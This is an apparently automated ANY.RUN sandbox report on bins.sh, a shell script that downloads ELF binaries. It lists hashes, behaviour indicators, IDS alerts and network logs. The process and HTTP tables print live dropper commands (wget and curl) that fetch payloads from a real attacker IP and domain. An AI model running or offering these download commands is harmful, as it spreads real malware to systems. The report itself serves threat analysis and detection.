Malware analysis bins.sh Malicious activity | ANY.RUN

Add for printing

File name:	bins.sh
Full analysis:	https://app.any.run/tasks/d505c859-cf29-434f-b158-62c6bc9b7d02
Verdict:	Malicious activity
Analysis date:	December 14, 2024, 08:15:14
OS:	Ubuntu 22.04.2 LTS
Tags:	exploit
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (405)
MD5:	7D6118E9E57FC76BF85D5499BDA407B1
SHA1:	979790E20F9D08561E29CB4C9CBA5EFCDA2E86E4
SHA256:	9E6CE0BD0E91133122A0F68F701175B54EDD9BB73ABF9501AFB362ED2BE9717D
SSDEEP:	192:57W7TXzg7jUZeqjiymxFtitZDkoFtitZtRGXzg7jEeqjiyg:57W7xZeqjiymxFtitZDkoFtitZtRieqo

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- EXPLOIT has been detected (SURICATA)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39071)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39070)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39132)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39118)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39114)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39117)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39113)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39136)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39137)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39140)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39146)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39145)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39150)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39149)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39131)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39141)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39153)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39158)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39157)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39161)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39162)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39154)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39169)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39174)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39175)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39179)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39178)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39187)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39188)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39170)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39184)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39183)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39192)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39196)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39195)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39039)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39199)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39200)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39191)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39203)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39211)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39212)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39222)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39217)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39218)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39204)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39208)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39207)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39234)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39240)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39239)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39246)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39251)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39221)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39226)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39225)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39230)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39229)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39233)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39247)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39250)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39122)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39121)
SUSPICIOUS
- Executes commands using command-line interpreter
  - sudo (PID: 38746)
- Reads /proc/mounts (likely used to find writable filesystems)
  - curl (PID: 38802)
  - curl (PID: 38902)
  - curl (PID: 39046)
- Connects to the server without a host name
  - wget (PID: 38750)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (PID: 38930)
  - busybox (PID: 39069)
  - busybox (PID: 39105)
- Potential Corporate Privacy Violation
  - wget (PID: 38750)
  - wget (PID: 38800)
  - wget (PID: 38835)
  - curl (PID: 38802)
  - wget (PID: 38870)
  - wget (PID: 38901)
  - curl (PID: 38902)
  - busybox (PID: 39105)
  - busybox (PID: 38828)
  - busybox (PID: 38926)
  - busybox (PID: 38864)
  - busybox (PID: 39040)
  - curl (PID: 39046)
  - busybox (PID: 38896)
  - busybox (PID: 38795)
  - busybox (PID: 39069)
  - wget (PID: 39045)
  - curl (PID: 38935)
  - wget (PID: 39078)
- Modifies file or directory owner
  - sudo (PID: 38743)
- Executes the "rm" command to delete files or directories
  - bash (PID: 38747)
- Uses wget to download content
  - bash (PID: 38747)
- Connects to unusual port
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39039)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39034)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39037)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39032)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39028)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38959)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39027)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38960)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39038)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39036)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38962)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38968)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38961)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38970)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39035)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38965)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38969)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38972)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38971)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39033)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38974)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38963)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38966)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38964)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38967)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38975)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38980)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38973)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38976)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38977)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38983)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38984)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38987)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38990)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38988)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38991)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38981)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38978)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38979)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38986)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38994)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38998)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38992)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38996)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38997)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38989)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38995)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38982)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38985)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39002)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39004)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39000)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39001)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39003)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39005)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39006)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39007)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38993)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39008)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39009)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39010)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39011)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39012)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39015)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 38999)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39020)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39022)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39021)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39017)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39024)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39013)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39023)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39025)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39029)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39016)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39014)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39026)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39031)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39018)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39019)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39135)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39182)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39030)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39215)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39216)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39237)
  - mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted) (PID: 39238)
- Checks the user who created the process
  - cron (PID: 39243)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.sh	\|	Linux/UNIX shell script (100)

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

518

Monitored processes

310

Malicious processes

160

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
38742	/bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN
38743	sudo chown user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38744	chown user /tmp/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38745	chmod +x /tmp/bins.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38746	sudo -iu user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN
38747	/bin/bash /tmp/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN
38748	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38749	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
38750	wget http://37.44.238.68/bins/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38751	curl -O http://37.44.238.68/bins/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U	/snap/snapd/20290/usr/bin/snap	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
38750	wget	/home/user/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U		o
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

115

TCP/UDP connections

14 538

DNS requests

Threats

158

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
488	NetworkManager	GET	204	185.125.190.49:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38750	wget	GET	200	37.44.238.68:80	http://37.44.238.68/bins/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U	unknown	—	—	unknown
38795	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U	unknown	—	—	unknown
—	—	GET	200	37.44.238.68:80	http://37.44.238.68/bins/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U	unknown	—	—	unknown
38800	wget	GET	200	37.44.238.68:80	http://37.44.238.68/bins/XCWa3rQvgIvGOOwqjClT7FKlu1i1SxGjFd	unknown	—	—	unknown
38802	curl	GET	200	37.44.238.68:80	http://37.44.238.68/bins/XCWa3rQvgIvGOOwqjClT7FKlu1i1SxGjFd	unknown	—	—	unknown
38828	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/XCWa3rQvgIvGOOwqjClT7FKlu1i1SxGjFd	unknown	—	—	unknown
—	—	GET	200	37.44.238.68:80	http://37.44.238.68/bins/ZKWialH8JkbCrPBixB9t6A7aKcg06JxbG1	unknown	—	—	unknown
38835	wget	GET	200	37.44.238.68:80	http://37.44.238.68/bins/ZKWialH8JkbCrPBixB9t6A7aKcg06JxbG1	unknown	—	—	unknown
38864	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/ZKWialH8JkbCrPBixB9t6A7aKcg06JxbG1	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	185.125.190.48:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
—	—	185.125.190.17:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
488	NetworkManager	185.125.190.49:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
38750	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
1178	snap-store	207.211.211.27:443	odrs.gnome.org	—	US	whitelisted
1178	snap-store	212.102.56.179:443	odrs.gnome.org	Datacamp Limited	DE	whitelisted
—	—	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38795	busybox	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38800	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown

DNS requests

Domain	IP	Reputation
connectivity-check.ubuntu.com	2620:2d:4000:1::22 2620:2d:4000:1::96 2620:2d:4000:1::98 2001:67c:1562::23 2620:2d:4002:1::196 2620:2d:4000:1::23 2620:2d:4002:1::198 2620:2d:4000:1::2b 2001:67c:1562::24 2620:2d:4000:1::2a 2620:2d:4002:1::197 2620:2d:4000:1::97 185.125.190.49 185.125.190.48 185.125.190.17 91.189.91.96 91.189.91.48 185.125.190.98 185.125.190.97 185.125.190.96 91.189.91.97 91.189.91.49 185.125.190.18 91.189.91.98	whitelisted
google.com	216.58.206.78 2a00:1450:4001:812::200e	whitelisted
odrs.gnome.org	207.211.211.27 37.19.194.81 212.102.56.179 169.150.255.180 169.150.255.184 195.181.175.40 195.181.170.18 2a02:6ea0:c700::107 2a02:6ea0:c700::21 2a02:6ea0:c700::101 2a02:6ea0:c700::11 2a02:6ea0:c700::112 2a02:6ea0:c700::18 2a02:6ea0:c700::19	whitelisted
api.snapcraft.io	185.125.188.55 185.125.188.54 185.125.188.59 185.125.188.58 2620:2d:4000:1010::42 2620:2d:4000:1010::2e6 2620:2d:4000:1010::6d 2620:2d:4000:1010::117	whitelisted
conn.masjesu.zip	37.44.238.68 87.121.86.228	unknown
23.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
38750	wget	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
38750	wget	Misc Attack	ET COMPROMISED Known Compromised or Hostile Host Traffic group 18
38750	wget	Misc Attack	ET CINS Active Threat Intelligence Poor Reputation IP group 38
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
38800	wget	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
38802	curl	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
38802	curl	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
38835	wget	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad

1 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

bins.sh

7D6118E9E57FC76BF85D5499BDA407B1

979790E20F9D08561E29CB4C9CBA5EFCDA2E86E4

9E6CE0BD0E91133122A0F68F701175B54EDD9BB73ABF9501AFB362ED2BE9717D

192:57W7TXzg7jUZeqjiymxFtitZDkoFtitZtRGXzg7jEeqjiyg:57W7xZeqjiymxFtitZDkoFtitZtRieqo

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

EXPLOIT has been detected (SURICATA)

SUSPICIOUS

Executes commands using command-line interpreter

Reads /proc/mounts (likely used to find writable filesystems)

Connects to the server without a host name

Potential Corporate Privacy Violation

Modifies file or directory owner

Executes the "rm" command to delete files or directories

Uses wget to download content

Connects to unusual port

Checks the user who created the process

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings